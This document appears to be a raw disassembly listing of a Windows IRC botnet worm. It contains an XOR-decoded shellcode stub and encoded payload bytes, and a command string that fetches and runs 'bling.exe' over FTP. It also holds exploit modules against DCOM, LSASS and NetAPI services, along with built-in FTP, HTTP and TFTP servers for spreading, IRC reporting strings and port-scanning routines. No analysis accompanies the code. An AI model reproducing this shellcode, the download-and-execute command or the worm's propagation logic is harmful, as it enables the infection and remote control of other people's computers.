		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp

loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h

loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb

loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '»»  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
					; ___:0042F834o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B5r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------

loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96

loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
